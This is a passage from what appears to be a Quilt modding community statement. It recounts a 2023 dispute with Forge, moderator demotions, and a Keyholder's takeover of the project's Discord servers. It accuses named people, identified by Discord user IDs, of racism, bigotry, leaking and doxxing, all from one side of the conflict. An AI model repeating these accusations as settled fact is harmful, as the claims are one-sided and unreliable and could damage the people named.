stepped down as a result of the discovery of several transphobic tweets he liked on Twitter — more on that later. As an extremely prominent member of the Minecraft modding community, we believe he needs no further introduction. + +ID: `134030797756694528` + +## Curle (also Amethyst) + +Curle has been contributing to Forge for a few years, and has been informally holding management roles for a while now. While she is known for her poor moderation, such as repeatedly muting community members contacting the moderators, we didn't notice any overly problematic behavior up to that point. + +ID: `462617385157787648` + +## Larry + +Larry was part of the first wave of new moderators in Quilt. He joined on the day of opening, April 20th, 2021,[\[7\]](#ref-7) and applied for the position of Moderator on May 14th, 2021,[\[8\]](#ref-8) with only 11 messages on the server thus far[\[9\]](#ref-9). The first internal message in his application thread is a direct endorsement from Kashike: [\[10\]](#ref-10) + +> I can give a thumbs-up to Larry being someone trustworthy and good at moderation - I know him pretty well. + +This contradicts the first requirement to be a Keyholder, according to RFC 7[\[2\]](#ref-2): + +> Be able to show that they have no conflicting interests or personal wish to be in power + +Since then, over the span of two whole years, Larry sent only 524 messages in total in our community spaces, including internal channels — 477 messages on the community server, and 47 in the Toolchain server[\[12\]](#ref-12). For comparison, the median among the Community Team is 24,712, with the average being 45,620. For a more extreme comparison, the average message count, for every Discord member in the community server combined, is 1,038[\[13\]](#ref-13) — more than double of Larry's total. + +ID: `347959633518002177` + +## zml + +zml participated to Quilt's founding through the Initiative server. She is mostly known for her work at Sponge. This lead her to have privileged access to the internal channels. + +ID: `97139815404810240` + +# Staff members involved + +For context, here are the staff members involved: + +* levi (also levy, remote\_getaway): Moderator, Arab-South American PoC recently brought to the moderator team to help solve the longstanding lack of racial diversity in Quilt. +* gdude: Moderator and Community Manager, white European who has worked in Quilt since its inception. +* The Starchildren (also Hope, Akarys, Starchild): Community Manager and Administrative Board member, biracial European with a longstanding history with Quilt +* Bubblie (also bubs): Community Team member, Indian-American PoC. +* MrMangoHands (also mango): Community Manager and Administrative Board member, white US American, inactive for a few months and who was about to leave the staff team, holding a role similar to Keyholder in CaffeineMC. + +# Timeline + +* **February 2nd:** First report of Lex's transphobic Twitter likes. +* **February 25th:** Curle discusses with Lex to "tone down the Twitter weirdness." +* **April 1st:** Second report of Lex's transphobic Twitter likes. +* **April 5th:** Curle tells QCC that she will be taking the lead on Forge. +* **April 7th:** Curle shows the first draft of their statements, and after some discussion tells Levi to "take his victim complex to another thread." +* **April 12th:** The beginning of Larry's demotion, marked by three events in quick succession: + * Larry espouses a racist viewpoint and argues against Levi in a ModMail thread, immediately after dismissing reports against someone who harbored ableist and Islamophobic views. Kashike then intercepts the argument and sides with Larry, his personal friend. + * A discussion is started in the `#admins` channel about starting a demotion against Larry, Kashike also joins this conversation. + * A suggestion of minimum activity requirement for Moderators, Community Managers and Admins is brought up again (previously shelved as no consensus was found). Larry somehow learns about messages from the `#admins` channel where the suggestion is discussed, which he is not supposed to be able to see, and uses it to push against the new policy. +* **April 13th:** A demotion against Larry is started due to inactivity. +* **April 15th:** After 8 days of silence from Forge, the process to remove Forge from the Collab program is started. +* **April 17th:** Forge releases their statements. Noticing that Forge never addressed any feedback, the RFC that details the conditions of the voting process within QCC is simplified to make voting period end when the decision cannot be overturned, and the vote for Forge's removal passes. Forge is then removed from the program. +* **April 18th:** Forge member looking to apply at Quilt retracts their application due to "concerning reports." zml additionally posts a statement in Toolchain then leaves. +* **April 19th:** Larry posts a statement in both Community and Toolchain and leaves, somehow knowing about the demotion. Larry and zml reveal there is an active leaker who is conspiring with them. +* **April 19th-20th:** Kashike kicks out all the Community Team and Administrative Board members and seizes control of the servers, before transferring them to MrMangoHands upon pressure. All CT and Admin Board positions are reinstated, and Kashike, Larry, and zml are all permanently banned from Quilt spaces due to their role in the hostile takeover. + +# Forge + +## First Lex Report + +On February 2nd, a thread was created on the QCC server titled "LexManos Twitter Activity", outlining how former Forge leader LexManos liked numerous transphobic tweets, by known bigoted accounts.[\[14\]](#ref-14). One Forge staffer answered that they wanted to wait for Curle to do anything. The thread had been bumped up on the 5th, 9th (with a ping), 12th, and 14th before getting another reply from the same staffer claiming that "Lex isn't a transphobe."[\[15\]](#ref-15)[\[16\]](#ref-16). + +Curle finally responded on the 25th of February, saying she spoke to Lex, who will "tone down the Twitter weirdness." When prompted back with the idea that keeping his transphobia quiet wasn't what was asked, Curle answered combatively stating it was "drunken nights" behaviour, and the likes were to "elicit a reaction"[\[17\]](#ref-17). No further action was taken by Forge. + +## Second Lex Report + +On April 1st, the thread was re-opened and many more transphobic and alt-right likes were found on Lex's public Twitter.[\[18\]](#ref-18)[\[19\]](#ref-19) Two server members, one from Quilt and one from another community, threatened to go public to make sure this behaviour was properly addressed[\[20\]](#ref-20). + +On the 3rd, Lex removed his likes from the tweets, which was followed by the Forge staffer mentioned previously saying Curle was pressured to leave the Forge project by her employers, who noticed Lex's problematic liked tweets, which is what finally drove her to act[\[21\]](#ref-21). Curle additionally tone-policed a member of the Quilt staff for "insulting" Lex by calling him a "man baby"[\[22\]](#ref-22). + +_It must be noted that Lex has openly stated that he "stands by everything \[he has\] ever 'liked' on social media."_[\[23\]](#ref-23) + +On the 5th, Curle revealed that she would be taking the lead on the Forge project. This change is welcomed by all present members, including the two members threatening to go public, telling Curle they would wait for the official statements from Forge, to avoid stressing out Forge members[\[24\]](#ref-24). + +## Feedback on the Forge Statements + +On the 7th, Curle posted a draft of the two statements made by Forge with the following foreword: [\[25\]](#ref-25) + +> This is from Lex (specifically, from a huge wall of text dump), but I've redone the phrasing extensively because as discussed... he has a significant issue with wording and getting his intentions across. + +The statements themselves didn't contain any disclosure of that information at the time.[\[26\]](#ref-26) + +Considering the misleading aspect of hiding the fact Lex's statement had been edited, a few members raised concerns about the idea of not knowing what the original statement contained.[\[27\]](#ref-27) It was found later that the statement was initially written in the third person and that some sentences were randomly added, reinforcing the idea that Lex never wrote the statement himself or even any first draft.[\[28\]](#ref-28) Concerns were also brought up with the "sorry we got caught" aspect of the statement[\[29\]](#ref-29). + +Levi was the first to raise those concerns, and as a member of the racial minorities targeted by Lex's likes, he expressed his desire to see the unmodified statement.[\[30\]](#ref-30) Curle responded that this attitude lacked "professionalism" (For more explanation about the racism behind this statement, please see the "[Professionalism and Racism](#professionalism-and-racism) section) and was "getting inflammatory".[\[31\]](#ref-31) + +Levi and another Quilt staff member left the conversation. After this, Bubblie, another person of colour in Quilt's Community Team, spoke about the recurrent issue of white people leaving conversations when people of colour mention racial issues, as well as constant issues with getting tone policed. Levi agreed, which caused Curle to send the following message: [\[32\]](#ref-32) + +> Why are you playing the race card all of a sudden? Take your victim complex to another thread please. + +We don't believe we need to explain how this is blatantly racist, but for the sake of explanations: People of colour are usually left to resolve issues they did not bring up or started, and this was simply a note taken on how the conversation had ended, nothing more than a passing comment. It was never pinned against Curle, but her immediate reaction to seeing people of colour complain about effort-in-labor bias was to say they had a "victim complex", thus posing their exhaustion as fake or an exaggeration. + +## DM hopping + +After walking out of the conversation without offering either an apology or an explanation for her comment, Curle went into Levi's DMs to offer an apology, and saying it should be “discussed directly”.[\[75\]](#ref-75) + +Levi invited Curle to say their piece, but mentioned that he did not want to engage in a discussion as there was nothing to debate about. Curle said she respected that decision, but then went on to lie on the “LexManos Twitter Activity” thread, saying her message had been “rejected”.[\[77\]](#ref-77) + +Curle then proceeded to complain to gdude, a white man, in DMs about being “highly concerned” with the behaviours Bubblie and Levi exhibited, claiming nobody was “willing to listen”, and that she believed if she expressed her concerns on them, she'd be labelled “a white supremacist”.[\[76\]](#ref-76) + +gdude repeatedly mentioned how Curle's venting and demands for clarification made him uncomfortable, and that he was not going to be speaking for people of colour. Curle, disregarding this, continued sending long paragraphs calling Levi “argumentative”, “inappropriate”, that his interpretation of her message as racist was “a conscious choice”, and ultimately putting the blame on him by saying he was “probing for that” to happen. + +Curle then claimed the moderation team was “reprehensible” for calling out her racist comment, but not calling Levi out on his tone. She states, again, that Bubblie and Levi are “unprofessional, directly accusatory and argumentative”, and that moderators have a conflict of interest for letting it happen. + +As this was happening, the “LexManos Twitter Activity” thread took a civil disobedience stance given the behaviour exhibited by Curle was heavily dismissive, stating that if she was not going to answer, continue eluding everyone's feedback and criticism, and lying about what her DMs stated, then the thread had no purpose, and they could go as off-topic as they wanted. This was agreed to by most participants of the thread. + +Curle, noticing this, goes on to complain in gdude's DMs once again, trying to pose the people of colour in the thread making reclaiming jokes as a bad thing, and calling the behaviour “wrong” and “disgusting”. We must highlight again that Curle is a white woman, and she has no say in or right to call out people of colour on how they approach reclamation.[\[76\]](#ref-76) + +She complains that no one reached out to her when she was “making a racist outburst, seemingly out of character”, again notes that Bubblie and Levi were being “aggressive”, “insensitive”, “unapologetic”, and are “unsuitable for the collab program”, then passively calls them “immature, insensitive, or unsuitable for reasonable conversation”. She states that her racism is just her “concerns and thoughts” being “twisted”, and “mental gymnastics”, and Bubblie and Levi are “explicitly searching for reasons to be hurt or insulted”. + +Curle then went on to face gdude with a questionnaire that goes as follows: + +* “Is levy's behaviour acceptable, in your opinion?”— The answer was just yes +* Questioning why the thread was “not moderated”.— “it's civil disobedience” +* Implying the moderation team has some sort of conflict of interest when it comes to “moderating levy and bubble's behaviour”— The answer is no. +* Questioning why no one reached out to her after her racist statement.— “there is no context that would make that statement OK”. Curle pushes this topic, saying “it can be completely out of line and still have reasons, intents, history, and emotion behind it”. +* Asks why was “bad faith” not shot down, and implies the moderation team is scared of moderating Bubblie and Levi.— “nobody is unbiased”. + +She claims bubblie and Levi get "preferential privilege", and that gdude is "isolating minority groups" by listening to them on racial topics. She goes on to ask him to "treat everybody equally" and "not give people preferential treatment because of the circumstances of their birth" + +Curle requests to be educated by gdude, again, a white man, on the topic of racism. gdude states he is not comfortable with this, and offers Curle asking Levi directly. + +Curle says she needs time away, and this is the last time she is seen. + +## Removal from the Program + +Between the 7th of April, the day of Curle's last message in the QCC, to the 15th, no Forge member attempted to address any of the concerns raised by anyone from any other community. + +Given that Forge was evidently not willing to cooperate and collaborate within the QCC program, a call for Forge's removal from the program was started on the 15th and scheduled to end on the 24th, under the following clause for possible removal of communities from the program: [\[33\]](#ref-33) + +> Substantiated concerns regarding a community's staff teams perpetuating harmful behaviour — such as paedophilia, physical violence, or ableism, racism, transphobia or other bigotry. + +While we were aware of the stress Curle was under to write a statement and assist Lex in writing his own statement, such heavy concerns and disregard to address it in a space this sensitive was unacceptable, and it clearly seems that no further attempts were made to seek critical feedback, despite our own concerns. + +The statements[\[34\]](#ref-34)[\[35\]](#ref-35) were released on the 17th of April. Noticing how our concerns were mainly brushed off, we looked into the RFCs to determine if there was a way to remove Forge earlier. Critically, a removal vote cannot be vetoed, meaning that once enough votes are cast, the results cannot change. Out of all three voting communities, one already voted positive, and only one more positive vote was needed to seal the results. Quilt's voting period was scheduled to end on April 22nd, which would push the vote to a pass. + +Given the RFC never mentioned anything about what happens when the vote results are sealed but the voting period has yet to end, we added a clause to better define that[\[36\]](#ref-36). Keep in mind that clause cannot change a vote result — it can only make the vote effects act earlier. Given how minor the RFC was, and the sufficient community team approval (including one from an uninvolved Administrative Board member), the RFC was merged. Shortly after, the third community involved gave a vote of agreement, leading to the prompt removal of Forge from the Quilt Community Collab program.[\[37\]](#ref-37)[\[38\]](#ref-38) + +We would like to mention that across 3 different organizations, 26 people voted in favor of the removal, 1 explicitly abstained and no one voted against it. This vote was not contentious by any metrics, even outside of Quilt. The vote ended before Quilt even cast its vote; the other two communities had already voted toward removal.[\[39\]](#ref-39) + +## Our take on Forge + +Curle's denial of the implicit bigotry she continues to perpetuate has led us to believe that Forge, under her leadership, cannot continue to pursue the goals Quilt and all our affiliated communities in the QCC program strive to achieve, most notably of safety and equity for all. + +As such, we have cut ties with Forge, and we recommend our vulnerable users to stay away from Forge-run spaces — racial bigotry can never be actively addressed and eliminated in a space if said space's leader denies their racist beliefs. + +# Larry + +While this section seems unrelated to the previous events, there is in fact a deeper connection and we would heavily encourage you to read on. + +## The ModMail + +On the 11th, a community member opened a ModMail thread to report off-server behaviour containing islamophobia, 9/11 jokes, autism mockery, and other issues. Moderators internally discussed an intent to ban, but no one ended up actioning the ban or responding at the time.[\[40\]](#ref-40) + +The following day, Larry unilaterally decided to not ban and replied as such to the reporter, notably without any discussion with the rest of the moderation team.[\[41\]](#ref-41) Levi responded internally that this wasn't the correct course of action, as the content was obviously Islamophobic. Larry continued to defend his action saying it was off-server behaviour and "just a kid", and therefore not worth actioning, which goes against our principle of defensive moderation against any potential bad actors who can endanger our community[\[42\]](#ref-42). Two other moderators agreed with levi while Larry continued to push back, despite going completely against the said principle.[\[43\]](#ref-43)[\[44\]](#ref-44) + +In the process, Larry made some other deeply concerning statements, such as calling Levi's experience with bigotry "epistemic privilege",[\[45\]](#ref-45) tone policing him, claiming he was arguing in bad faith,[\[46\]](#ref-46) insisting on using the word "privileged" despite Levi's request not to and went as far as comparing Levi to colonisers[\[47\]](#ref-47). + +## Kashike's intervention + +Even though the Keyholder is allowed to "oversee the community team in their actions and processes, and provide opinions and feedback if they wish", according to RFC 7, they must factor in any conflicts of interest that may arise before voicing their opinion. Yet, Kashike entered the conversation to defend his friend in a direct demonstration of favouritism and conflict of interest: [\[48\]](#ref-48) + +> Forgive my rough words here, but this entire conversation is fucked up on multiple levels. +> What I do know for a fact is that some of the comments levy was making towards larry in here earlier were not warranted. +> I will not stand by and be quiet when things like this happen. + +Kashike continued to tone police Levi to defend the racist points on his friends, which is both a conflict of interest and generally unacceptable. Similar to Curle, Kashike then moved to gdude's DMs to tone police Levi even more and go as far as claiming he should apologise. Kashike asked gdude to send a message in the `#managers` channel saying that he got contacted by someone for the discussion, failing to disclose that this person is Larry, one of the involved parties[\[49\]](#ref-49)[\[50\]](#ref-50). Kashike then continued to push for the admins to ask Levi to apologise to his friend as he got contacted by this same friend who was "concerned": [\[51\]](#ref-51) + +> I usually don't say much in conversations, but for the one in question I was contacted privately due to what was going on + +Once again, Kashike made it seem like he got contacted by another staff member, and failed to disclose his conflict of interest and that Larry was the person who contacted him. + +## Low activity requirement guidelines + +Considering how out of touch with the community Larry was, the Starchildren decided to action an item that have been on their to-do list for twelve days at the time: talk about introducing a low activity requirement for Moderators, Community Managers and Administrative Board members[\[52\]](#ref-52). Later in the day, they mentioned in `#managers` that they were going to talk to Larry about his future at Quilt if no one was opposed to the policy. Kashike answered with: + +> ... how does that make sense to do at all? + +They clarified that while the guidelines weren't made especially to remove Larry, they could also be used as such[\[53\]](#ref-53). Somehow at the same moment, Larry learned about that message in `#managers`, a channel he could not have read[\[54\]](#ref-54), while gdude got a complaint in DMs from Kashike at the same time[\[55\]](#ref-55). Larry accused the Starchildren of coming after them, after which the Starchildren clarified that while Larry's behaviour prompted them to fast forward the policy work, they were not looking to get them out but rather talk, as otherwise, a demotion would have already been in progress. Larry then revealed he abused a misconfiguration of PluralKit, an accessibility tool, to read the private channel[\[54\]](#ref-54). When asked who this misconfiguration was reported to, Larry answered Kashike, who did absolutely nothing to try to fix it or warn the Managers, the ones responsible for fixing this sort of issue. _The Keyholder isn't supposed to do anything_[\[56\]](#ref-56). + +In parallel, the Starchildren clarified the same thing in the `#managers` channel. Kashike responded with the following message: [\[53\]](#ref-53) + +> I'm going to go do something relaxing for a while - getting involved in things, when I usually don't, has made me a bit stressed out. Feel free to ping/message me if necessary, though. Hugs to anyone who wants one. + +Kashike didn't send any other message before taking over the servers. + +## Larry's Demotion + +Due to Larry's concerning behaviour with the PluralKit leaks, the Starchildren decided to move directly to a demotion against him on the 14th. [\[57\]](#ref-57) + +> Larry hasn't been inactive at all in Quilt those past few months. In total, Larry has about 500 messages on both servers combined. From November 2022 to April 2023, Larry has respectively sent the following number of messages: 32, 2, 7, 18, 3, 8. Considering Larry has been inactive since Quilt's inception, I don't consider him legitimate to hold the moderation powers given to him. +> +> This has recently been characterised by a few events, most notably the non-profit discussions where he made non-sensical, totally out of touch comments, and the \[name redacted\] thread where he immediately attacked levy in bad faith, accompanied with some pretty racist takes. + +No disagreement was voiced during the 6 days this vote went on for. It didn't have a chance to go through however, as he left the server on the 20th, after sending a paragraph you may read below in "[Larry (part 2)](#larry-part-2)". + +# zml + +On the 18th of April, zml sent the following message in the internal `#dev-office` channel in the Toolchain Discord server, which only the Quilt Developers, along with the Community Team and the Administrative Board, can view, and then left all Quilt-affiliated spaces: + +> hey gang, with some of the recent events i'm rather dissatisfied with the way quilt has been going, and i'm afraid I don't have strong hopes for a future for this project. I've discussed some of these things with others, but putting it out there, some of the thoughts i've had recently: +> +> \- The division between the community team's side of the project and the development teams has created fragmented planning and memberships, where the community has developed fairly divergently from the way the development sides work, and there is friction where some community team members believe that they are in some way able to overrule developers, rather than being equals in one project. +> +> \- Your moderation strategies feel super reactionary -- between only bring up policy when it's convenient to obstruct the work of others, and your swift removal of Forge from the community collab server (and all quilt spaces following) as soon as they failed to meet your expectations on their beliefs. We all say dumb things, are raised with 'bad' beliefs, and are here to learn and grow -- try to support that rather than punishing. +> +> \- A lot of the development team is burnt out, and the isolation of the toolchain discord makes it difficult to attract new contributors from ideal candidates who might be intimidated by joining an entirely separate guild. it's a bit of a vicious cycle at this point, but I hope you can break out (be kind to yourselves, devs) +> +> \- Levy, I would like to think there are good points in a lot of what you say, but every time someone crosses you whether it's one of your colleagues here in staff or other community members, it feels like you lash out in a way that helps you unload, but isn't very productive in building up relationships with other staff and the management of other communities +> +> \- Hope and the other Starchildren, your overly legalistic beliefs about this project's management and infrastructure goals out of line with other far larger organizations in the community have burdened everyone else on staff. Please stop. +> +> \- g, I think what you've created in quilt community is an interesting perspective on building a community and has succeeded more than i would have expected, but it doesn't seem to have meshed super well with the development work that is essential to keeping the project relevant, and i'd think would have trouble scaling to cast the broad tent initially imagined for Quilt. It really feels like you are trying to do some level of catching like, pre-crime that is a bad road to be on. +> +> \- For all of you, please take time and try to have your own conversations with people involved in situations, try to avoid just hopping on the bandwagon for votes (and maybe don't short-circuit votes where nothing about the situation at hand will change). +> +> with that, i wish you all well on your projects and hope that despite my expectations Quilt can turn things around -- feel free to reach out to me if you wish to talk further (tho as always my availability is a touch limited, responses may be delayed). with that i'm out :) + +The first and third points are decent arguments about the split between the development and community aspects of the project, which is something that we were actively working on and has only been delayed by those events. + +The second and sixth points are simply a fundamental misinterpretations of what moderation is for, catching problems before they happen. We don't have to wait for someone to hurt our sensitive users before acting. + +The fourth point about levi is simply tone policing. + +The fifth point is simply nonsensical, the Starchildren handle legal at Quilt and will therefore adopt a legal viewpoint. Their real life job is also infrastructure work, they should have the qualifications (and the authority, as the Infrastructure Lead) to set the project's goals. + +The seventh point probably refers to Forge, despite the vote being called by two communities other than Quilt. As outlined previously, the short-circuit clause couldn't have changed the result of the vote. + +Considering we know she was "conspiring"[\[69\]](#ref-69) with Kashike and Larry, we can only assume this message has been written in bad faith. + +# Larry (part 2) + +Larry left all servers late on the 19th, leaving the following message in both the Toolchain and Community servers: + +> Hey @everyone, +> +> Just want to say first of all, I appreciate everyone's efforts to make Quilt safe and productive. With that, I'm resigning as a moderator. +> +> I hope you take the time to read what I'm going to say, instead of dismissing it as a "whole load of nothing". Despite my lack of chatting time in the Quilt servers, I've spent the last 2 years lurking every important thread and channel, watching and learning. +> +> 1\. I suppose this is a good spot to express my displeasure at being voted out on the basis of lies by Hope. I know about the vote, but more importantly I know about the reasons provided for the vote. I did _not_ "immediately attack levy in bad faith." It's a shame that here, where Hope was biased, I didn't get a chance to defend myself at all. To be clear, levy immediately attacked me, and I know that everyone knows it was him who reacted (at best) suboptimally. I cannot emphasize how degrading it is to have someone who claims to be racially sensitive along with an entire staff team try to treat me differently because of my race (regardless of what that race is) or claim that I'm a bigot. I'm not - I literally just called out persistent bullshit. Gdude, your siding with levy on that issue displays a huge amount of unwarranted bias. There's a difference between respectability politics and treating others as lesser, and levy consistently treated me as a lesser, which you just reinforced. I think you're consistently letting your biases blind you to situations that would otherwise be unacceptable, even to you. At least, I hope so, because otherwise you just don't see (or worse, do see and don't care) how bad some of the stuff that you allow is. +> +> 2\. Hope, I'm sorry that my arguments against your registering Quilt solely under your name as a legal entity in France made you upset. They should not be used against me - just because you disagree with me, doesn't make all of my comments out-of-touch or baseless. If people can't disagree with you without getting 'marked' as an enemy and then voted out because of that disagreement, you're fostering hostility within the staff team. Perhaps this is a warning to everyone else; don't get on Hope's bad side or disagree or you'll be voted out! +> +> 3\. Levy, your racial aggrievedness is not an excuse to be a jerk. That's what you do when anyone gets on your bad side - you're a jerk, and it's not okay. Please don't take this as an attack, but there are infinitely less destructive (or, imagine, constructive!) ways to handle people that you think are uneducated. Assuming they're either racist or an idiot is the wrong assumption to start off with. Just going after them and their character doesn't even help _you_ with anything other than perhaps feeling or looking more like a victim of society. And sure, you (maybe me too!) are a victim of society. Making that your grounds for attacking others is illegitimate. I know this will probably be dismissed, but I want nothing more than to see you grow out of the looking-for-blood attitude you go into conversations with. It'd be a benefit for everyone. +> +> 4\. zml was here when Quilt started. zml actually helped to create Quilt, and y'all not knowing her is a shame. Assuming she's racist, leaving because she doesn't support racial diversity efforts, is really stupid. looks to me that she left because, like me, she can't believe some of the things that are allowed to go on. There's a huge difference between pushing for racial diversity and treating levy's word as infallible, and attacking the same people that levy attacks just because levy attacks them. +> +> 5\. To everyone else, thank you again for your dedication to being good people and making a good community. I appreciate it. Be careful not to buy into what others say just because they're good - form your own views and openly disagree when you see something unjust or plain stupid. That's how communities grow. Also, the leaks indicate a lack of trust in the system and its leaders. Work on that, y'all? + +Besides the pettiness of the `@everyone` pings and leaving before the vote goes through, let's break down those points one by one: + +1. As you could previously see, the demotion was about inactivity, a fact by all metrics shown previously. If Larry actually waited, according to the process he would have been offered to submit a counter-argument, which is a direct way of defending yourself[\[58\]](#ref-58). The double standard is impressive when it comes to the accusation of bias, considering his undisclosed friendship with Kashike[\[10\]](#ref-10). The fact that the rest of the Community Team agreed with gdude that levi's behavior was acceptable shows there is no actual conflict of interest. +2. Again, Larry's demotion started because of his inactivity[\[52\]](#ref-52). The argument of the non-profit was brought up as Larry claimed there was no need for a legal entity, showing a clear lack of knowledge of months of previous struggles due to not having one. Other disagreements with the proposal weren't factored into the demotion. This argument also disregards the democratic aspect of Quilt; no one individual is able to decide who can leave and who can stay[\[57\]](#ref-57)[\[58\]](#ref-58). +3. This point just comes off as extremely tone-policing and condescending. Saying that an actual victim of racism is trying to make himself look like a victim is sickening. +4. As you could see in the previous section, calling out zml for racism was and still is accurate. +5. There isn't much to say about this point, other than the group of three racists working together is hardly a demonstration of any failure. + +Overall this post is crippled with tone-policing paternalist points and false truths and clearly demonstrates the racism and bad faith that characterized his previous interactions. + +# The Hostile Takeover + +## Kashike takes control of the server + +A few hours after Larry left, Kashike used a self-bot to kick all the staff members and bots[\[59\]](#ref-59) from the servers and deleted all webhooks[\[60\]](#ref-60). He posted the same message in all news channels: [\[61\]](#ref-61) + +> This project has become controlled by a community moderation team that focuses their energy on finding ways to attack others, which is too dark an irony for my tastes considering this project's origin. In recent times, this moderation team has gone on a quest to personally attack community members and in the past has even doxxed individual's IRL information to justify bans. +> +> Per RFC 7, which grants me independent oversight powers to prevent exactly this sort of situation, I am freezing this discord server while we figure out what to do next, and I make this offer to the development team: +> +> \* If you wish to continue working on the projects without the previous moderation staff, we can consider rebranding the project while focusing on releasing a quality product, and can use the Toolchain discord to facilitate that, so the teams remain together. +> +> \* If you wish to stay with the moderation team that has stated they outrank you, you are entitled to do that. +> +> I'm not going to pressure anyone on this decision, and I am sorry that it has come to this. + +We will break down the first paragraph in a bit, but we first want to emphasise that Kashike had absolutely **no** authority in doing this. The existence of the Keyholder was made especially to avoid a hostile takeover, which Kashike undoubtedly knew, considering his involvement in Quilt's inception. Quoting the same RFC 7 Kashike mentions: [\[2\]](#ref-2) + +> A keyholder is a democratically elected member of the community that otherwise has no direct involvement or stake in the management of the community. By electing an otherwise unrelated party to be a keyholder, it's hoped that the Quilt community spaces can avoid the issue of a community leader gone rogue - it should prevent an abuse of power from giving someone total control over any community space, at least as far as is possible. + +While it is true the RFC says "they're also welcome to oversee the community team in their actions and processes, and provide opinions and feedback if they wish", this isn't a free pass to override all our democratic processes. + +Kashike also tries with this message to jeopardize the project and claim it for his own. He did not attempt to contact anyone whatsoever before doing so. + +## The Developers' Reaction + +After posting his announcement, Kashike pinged all the developers asking for questions or comments. Three developers immediately pushed back and mentioned that he also kicked developers by kicking the moderation team. Kashike responded that they can rejoin at any time, although he never actually gave back the roles necessary to view the channel, to which the developer answered that he "could have discussed before kicking them"[\[62\]](#ref-62). Two others developers then proceeded to derail the conversation by talking about water, and Kashike was promptly ignored until the server got restored[\[63\]](#ref-63). + +## The Community's Reaction + +It is hard to grasp the reaction of a large community over multiple hours, so we encourage you to go read the [conversations below this message](https://discord.com/channels/817576132726620200/833939581798711306/1098438405194522737) on the community server for the full context. Outside of a few people who wanted to hear more from Kashike, a very large number of people condemned Kashike's behaviour and wanted to see the server returned to its rightful owners, the Community Team. + +We will note that one death threat made by a community member was immediately called out by the rest of the chat and the moderation team, and the person who made it was subsequently banned by Kashike with support from gdude and MrMangoHands[\[64\]](#ref-64). + +## The Recovery Server + +A temporary server was made by the Community Team to gather staff and some community members. Since people left between when the servers got restored and this statement being written, we don't have the exact count, but we know the server had at least 3 admins, 14 staffers and 20 community members[\[65\]](#ref-65), all in disagreement with Kashike's actions. + +## The Group DM + +Kashike asked gdude to create a group DM with himself and all the other admins, except for the Starchildren, who he explicitly requested be excluded. Inside the DMs, Kashike repeated that he didn't want the Starchildren and Levi inside the group DM, despite the former being a part of the Administrative Board and the latter not even being on said board[\[66\]](#ref-66). He later claimed that he was discussing with the entire admin board[\[67\]](#ref-67), failing to disclose he didn't include the only coloured administrator, another example of Kashike's racist prejudices. + +gdude opened by asking why Kashike sees "leaking or leaving a vulnerable community without moderators as any kind of solution." He promptly ignored the major safety concern raised by gdude to talk about his grievances with the Community Team.[\[68\]](#ref-68) + +While we won't talk about everything that happened in those DMs (they span more than 25 desktop screens) for the sake of keeping this statement digestible, we want to talk about a few of the accusations being made. + +Kashike attempted to call out zml and Larry's messages as being unfairly dismissed, which makes sense considering they were "conspiring together."[\[69\]](#ref-69). + +## The "Doxxing" Accusations + +This is the only accusation Kashike made public, without any authorization from anyone in the team despite claiming so: back in December 22, 2021, a year and a half ago, gdude investigated reports from a member of the Quilt Community Collab about another member who was accused of having sexually harassed them. Due to the complexity of the situation and gdude's memory impairment, he made an internal thread to track his "research" into the accusations. Gdude had, actually, received court documents from the victim, but had been asked to not say so outright to protect the victim. As such, the thread was largely an attempt to _create_ a paper trail that could reasonably lead to the victim-provided documents[\[71\]](#ref-71). + +This thread was private to the moderation team and was never going to be public: this wasn't a doxx, everything stayed completely internal. However, Kashike had the following to say: [\[72\]](#ref-72) + +> I shared that thread with external community members and leaders, and all of them said the same thing (roughly): it is completely unacceptable to do something like that, and is not something that should be permitted in any community + +Taking an export of an internal thread and sharing it with third parties without any authorization from the victim is, on the other hand, doxxing, perpetrated by Kashike. He also waited more than a year and a half to kick the Community Team and discuss that thread, which he could have done anytime prior, especially considering he participated in that thread himself[\[73\]](#ref-73). We can only imagine this is a pretext to cover his defense of his friend being removed from the staff. + +It is also a breach of the European General Data Protection Regulations (GDPR), as the accuser's and accusee's personal data was being shared widely without any legal basis. + +## Recovering the Servers + +After waking up, the Starchildren, the legal handlers of Quilt, requested to be added to the group DM, which Kashike complied with. (note: this happened in Kashike's personal server which we can't access anymore, sorry we cannot provide any screenshots) + +Once the Starchildren were added, Kashike stated the following: [\[70\]](#ref-70) + +> The discussion in here have been good so far - all I ask is that anyone in here leave any swearing, threats, etc behind. People know me to be professional, and I don't want things to end badly here at all. + +This is quite ironic, as he himself has done the most unprofessional act possible that is this hostile takeover, not to mention how tone-deaf it was to say that to a group of hurt individuals. + +After the Starchildren had pointed out the legal issues, the lack of authority Kashike needed to justify his actions, the optics of kicking everyone out and seeking a new moderation team, and the total disapproval from the developers and the community, Kashike finally backed out and gave ownership of the servers to MrMangoHands.[\[74\]](#ref-74) + +Mango then gave the Community Manager role back to the other active Managers and proceeded to go to bed. They continued recovering the servers by reassigning the staff roles, adding back the bots and repairing all the other damages done by Kashike. + +To this day, Mango still acts as a temporary Keyholder while we find another solution (see "[Alternatives for the Keyholder System](#alternatives-for-the-keyholder-system)" section). In light of the leaks, conspiring[\[69\]](#ref-69) and hostile takeovers, Kashike, Larry and zml have been indefinitely banned from all Quilt spaces. + +## Our take on Kashike + +This day, Kashike has shown that he is completely unable to act as an impartial Keyholder for any project and will not hesitate to abuse this role and take over the server to serve his own interests. He has also shown that he cannot be trusted with access to sensitive information, as he will happily leak information to third parties and damage the project. + +We would like to suggest to communities who still trust Kashike to reconsider their relationships with him in light of those events. + +# What's next? + +## The Rendering Collab + +Quilt was also involved in another collaborative project: a rendering API which was meant to be a successor to both the Fabric Renderer API and FREX. The project originated as a proposal from Quilt to adopt FREX and integrate it as part of the Quilt Standard Libraries, as the maintainer of FREX, Grondag, no longer had enough time to work on it. Work was already put in FREX to allow it to be used on Forge and Fabric, which led to the question: do we keep that? + +Given the existence of Quilt Community Collab and the relatively healthy relationship between Quilt and Forge at the time, we contacted several communities to propose to work on a common rendering API: Render Wagon. The project had made theoretical progress and serves as a general direction for us to follow. + +Following what happened with Forge in Quilt Community Collab, and Forge's rendering technical representative leaving the project due to personal reasons, we no longer see any point in keeping this collaboration alive. Without a Forge representative, any work done with Forge would be pointless and morally questionable given past events. + +Quilt will likely absorb Render Wagon once more, likely as part of Quilt Standard Libraries, though details have not yet been determined. + +## Alternatives for the Keyholder System + +As these events have shown, having an impartial Keyholder seems impossible, and thus [we have created a proposal for a replacement](https://akarys.notion.site/Quilt-Keyholders-07704fd11bbd494bb89f7fed8fd69543). If you'd like to voice your opinion, you are more than welcome to [in the corresponding meta thread](https://discord.com/channels/817576132726620200/1098701370313420962) on the community server. 